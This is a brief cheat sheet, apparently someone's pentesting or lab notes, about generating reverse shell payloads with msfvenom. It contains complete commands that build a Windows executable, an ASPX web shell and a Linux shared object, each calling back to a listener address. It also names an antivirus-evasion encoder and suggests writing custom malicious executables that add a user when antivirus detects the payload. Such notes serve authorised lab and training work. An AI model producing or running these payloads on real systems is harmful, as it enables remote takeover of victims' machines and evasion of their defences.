msfvenom

To create reverse shell executable. if AV detects, better to create your own malicious executables which adds a user instead of reverse shell.

Also check os and config to create specific to them.

Windows

exe

msfvenom -p windows/shell_reverse_tcp LPORT=666 LHOST=10.10.14.6 -f exe -o rev.exe

# check encoders
$ msfvenom -l encoders
x86/shikata_ga_nai

asp

$ msfvenom -p windows/shell_reverse_tcp LPORT=1234 LHOST=10.10.16.94 -f aspx -o shell.aspx

Linux

so

This did not work for me. i better write C file that this.

$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.45.238 LPORT=22 -f elf-so -o utils.so